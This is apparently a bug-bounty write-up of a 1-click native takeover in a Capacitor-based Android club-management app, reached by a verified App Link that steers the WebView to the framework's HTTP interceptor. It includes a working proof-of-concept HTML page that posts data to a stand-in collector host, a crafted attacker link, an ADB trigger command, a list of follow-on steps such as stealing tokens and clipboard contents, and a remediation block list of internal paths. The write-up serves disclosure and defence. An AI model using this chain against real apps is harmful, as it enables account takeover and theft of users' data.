August 31, 2026
The Interceptor That Fetched Anything: 1-Click Native Takeover in a Capacitor App
On hybrid apps, the bugs usually live in the gap between two features that are both fine by themselves: a WebView serving the app’s own…

By Hussein Ayoub
3 min read
On hybrid apps, the bugs usually live in the gap between two features that are both fine by themselves: a WebView serving the app's own bundle from a trusted local origin with the full native bridge attached, and anything that can pull outside content into that origin.
Native frameworks like Capacitor give you the first one for free: your JS runs at http://localhost and every registered plugin is one call away. The whole security model assumes only your bundle ever executes there. This is a write-up of what happens when a stock framework endpoint quietly breaks that assumption, and a verified App Link hands the trigger to anyone with your phone number.
The target
The app is a community and club management app, a Capacitor-based hybrid app that wraps a web frontend in a native shell. Like most Capacitor apps on Android, it serves its own content from http://localhost inside the WebView, and it exposes a large native surface: 23 registered plugins covering Filesystem, Camera, Clipboard, Share, Device, Push, and more.
My workflow: decompile, then let the model do the boring part I run an automation-heavy triage pipeline for APKs. After pulling and decompiling (jadx for readable Java, apktool for the manifest and resources), I feed the output through an LLM-assisted review pass before I read anything myself.
For this engagement, the review pass ran on Claude Opus 4.6 via Amazon Bedrock.
Attack surface #1:
The native bridge Capacitor registers a global window.Capacitor with a Plugins object. Any JavaScript executing at the app origin can call into native code directly, no annotation hunting required. Enumerating the bridge on this app returned 23 plugins, including the ones that turn a web bug into a device compromise:
- Filesystem: read and write files in the app sandbox
- Camera: capture images if the permission was previously granted
- Clipboard: read clipboard contents (passwords, 2FA codes)
- CapacitorHttp: issue requests with the app's native cookies Device, App, Share, Push, and the rest of the registered set
None of this is a problem while the only code running at http://localhost is the app's own bundle. The entire model rests on that origin staying trusted. Which brings us to the second half of the bug.
Attack surface #2:
Capacitor ships an internal HTTP interceptor endpoint, reachable inside the WebView, that fetches a URL passed as a query parameter and serves the response back inside the app's trusted origin:
http://localhost/capacitor_http_interceptor?u=
That is a native-side proxy meant for the framework's own request handling. The problem is reachability. The app's deep-link handler took the path from an incoming verified link and drove the WebView to it, including this internal path. So a link to the verified domain that points at the interceptor, with an attacker URL in u, resolves inside the app to the local origin and serves attacker HTML as if it were part of the bundle.
Put together:
https://portal.vendorclubs.com/_capacitor_http_interceptor_?u=https://attacker.example/exploit.htmlhttps://portal.vendorclubs.com/_capacitor_http_interceptor_?u=https://attacker.example/exploit.htmlThe link is on the verified domain, so Android opens it directly in the app. The handler routes it to the interceptor. The interceptor fetches https://attacker.example/exploit.html and serves it at http://localhost. My HTML is now executing at the trusted origin, with the entire native bridge attached. One click.
Building the PoC The exploit page is a static HTML file on any server. Because it ends up running at the app origin, window.Capacitor and every plugin are reachable. The probe below just confirms the origin and dumps the bridge before doing anything sensitive:
<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body> <pre id="out"></pre>
<script>
const out = document.getElementById('out');
const collector = 'https://your-collector.example/collect';
function send(obj) {
const data = JSON.stringify(obj);
out.textContent += data + '\n';
fetch(collector, { method: 'POST', body: data }).catch(() => {});
}
// Running at the app's trusted origin: the whole bridge is ours. send({ url: location.href, origin: location.origin, platform: window.Capacitor && window.Capacitor.getPlatform ? window.Capacitor.getPlatform() : null, plugins: Object.keys((window.Capacitor && window.Capacitor.Plugins) || {}) });
</script>
</body>
</html><!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body> <pre id="out"></pre>
<script>
const out = document.getElementById('out');
const collector = 'https://your-collector.example/collect';
function send(obj) {
const data = JSON.stringify(obj);
out.textContent += data + '\n';
fetch(collector, { method: 'POST', body: data }).catch(() => {});
}
// Running at the app's trusted origin: the whole bridge is ours. send({ url: location.href, origin: location.origin, platform: window.Capacitor && window.Capacitor.getPlatform ? window.Capacitor.getPlatform() : null, plugins: Object.keys((window.Capacitor && window.Capacitor.Plugins) || {}) });
</script>
</body>
</html>From that same origin, the follow-on is mechanical: read the auth token out of local storage or via the Filesystem plugin for account takeover, pull clipboard contents, list and read sandboxed files, and use CapacitorHttp to make authenticated calls with the app's own cookies.
Triggering it
For the demo, I fired the deep link with ADB. Note the u parameter is URL-encoded:
adb shell am start -a android.intent.action.VIEW
-d "https://portal.vendorclubs.com/_capacitor_http_interceptor_?u=https%3A%2F%2Fattacker.example%2Fexploit.html"
-n com.vendor.clubsapp/com.vendor.clubsapp.MainActivityadb shell am start -a android.intent.action.VIEW
-d "https://portal.vendorclubs.com/_capacitor_http_interceptor_?u=https%3A%2F%2Fattacker.example%2Fexploit.html"
-n com.vendor.clubsapp/com.vendor.clubsapp.MainActivityThe collector received the confirmation that attacker JS was live at the trusted origin with the full plugin set:
{ "url": "http://localhost/_capacitor_http_interceptor_?u=https%3A%2F%2Fattacker.example%2Fexploit.html", "origin": "http://localhost", "platform": "android", "plugins": ["App","Device","Keyboard","Media","Badge","StatusBar", "PushNotifications","ShareExtension","LocalNotifications","Toast", "BarcodeScanner","Network","SplashScreen","Camera","Clipboard", "Haptics","CapacitorCookies","WebView","Filesystem","Share", "CapacitorHttp","Browser"] }{ "url": "http://localhost/_capacitor_http_interceptor_?u=https%3A%2F%2Fattacker.example%2Fexploit.html", "origin": "http://localhost", "platform": "android", "plugins": ["App","Device","Keyboard","Media","Badge","StatusBar", "PushNotifications","ShareExtension","LocalNotifications","Toast", "BarcodeScanner","Network","SplashScreen","Camera","Clipboard", "Haptics","CapacitorCookies","WebView","Filesystem","Share", "CapacitorHttp","Browser"] }origin is http://localhost, not the attacker domain. That is the whole point: the content is foreign, but the origin is trusted.
From ADB to a real-world attack ADB is only for the demo. In the wild there is no debugging access and no permission requirement. Because the domain is a verified App Link, you just send the victim the URL over chat, email, or SMS. They tap once, the app opens it automatically, and the exploit runs. No chooser dialog, no second prompt, nothing that looks unusual to the victim.
Impact
Once arbitrary JS runs at the app origin, you inherit the native bridge:
- Authentication token theft from app storage, i.e. full account takeover.
- Arbitrary read and write in the app sandbox via the Filesystem plugin.
- Camera and microphone access if those permissions were previously granted.
- Clipboard reads, which routinely hold passwords and 2FA codes.
This is effectively a 1-click remote code execution in the app's native context.
Remediation
The fix is small: refuse to let external deep links drive navigation to internal Capacitor paths. In the deep-link handler, reject internal paths before routing:
const BLOCKED = ['/_capacitor_http_interceptor', '/_capacitor_content', '/_capacitor_file']; if (BLOCKED.some(p => pathname.startsWith(p))) return;const BLOCKED = ['/_capacitor_http_interceptor', '/_capacitor_content', '/_capacitor_file']; if (BLOCKED.some(p => pathname.startsWith(p))) return;Disclosure timeline:
07/Aug/26 -> Reported
10/Aug/26 -> Triaged
28/Aug/26 -> Fixed & Bounty Awarded
Happy hunting.